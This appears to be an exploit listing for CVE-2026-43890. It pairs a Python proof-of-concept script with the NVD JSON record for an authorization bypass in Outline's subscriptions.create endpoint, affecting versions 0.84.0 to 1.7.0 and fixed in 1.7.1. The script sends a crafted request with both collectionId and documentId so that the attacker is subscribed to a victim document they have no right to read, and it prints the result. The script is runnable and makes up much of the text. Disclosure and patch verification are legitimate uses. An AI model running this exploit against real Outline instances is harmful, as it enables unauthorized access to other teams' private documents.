CVE-2026-43890

import requests import json # Exploit Title: Outline 0.84.0 - 1.7.0 - Authorization Bypass in subscriptions.create # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://www.getoutline.com # Software Link: https://github.com/outline/outline # Version: 0.84.0 - 1.7.0 # CVE: CVE-2026-43890 def exploit_outline(target_url, attacker_token, attacker_collection_id, victim_document_id): """ Exploits the broken authorization pattern in Outline subscriptions.create API. :param target_url: Base URL of the Outline instance (e.g., https://docs.example.com) :param attacker_token: Valid API token or session cookie for the attacker :param attacker_collection_id: A collection ID the attacker has access to :param victim_document_id: The document ID the attacker wants to subscribe to (unauthorized) """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {attacker_token}" # Adjust auth method based on config } # The payload includes both collectionId (authorized) and documentId (unauthorized) # The server validates collectionId but writes subscription for documentId payload = { "collectionId": attacker_collection_id, "documentId": victim_document_id, "event": "documents.update" } endpoint = f"{target_url}/api/subscriptions.create" try: response = requests.post(endpoint, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Subscription created for unauthorized document.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://localhost:3000" TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ATTACKER_COLL_ID = "valid_collection_uuid_here" VICTIM_DOC_ID = "secret_document_uuid_here" exploit_outline(TARGET, TOKEN, ATTACKER_COLL_ID, VICTIM_DOC_ID)

{"cve": {"id": "CVE-2026-43890", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:13.900", "lastModified": "2026-05-11T22:22:13.900", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. From 0.84.0 to 1.7.0, the subscriptions.create API endpoint in server/routes/api/subscriptions/subscriptions.ts exhibits a broken authorization pattern. When both collectionId and documentId are supplied in the request, the route handler authorizes ONLY the collection branch (line 125 if (collectionId)), while the downstream subscriptionCreator command at server/commands/subscriptionCreator.ts writes the subscription against the documentId (which was never validated). The result is a subscription record pinning the attacker's user to a victim document the attacker has no read access to, on any team in the instance. The schema (server/routes/api/subscriptions/schema.ts) only enforces \"at least one of collectionId/documentId\" via .refine() — it does NOT enforce mutual exclusivity, so passing both is a valid, schema-conforming request. This vulnerability is fixed in 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/outline/outline/security/advisories/GHSA-gf8h-cv9v-q4fw", "source": "[email protected]"}]}}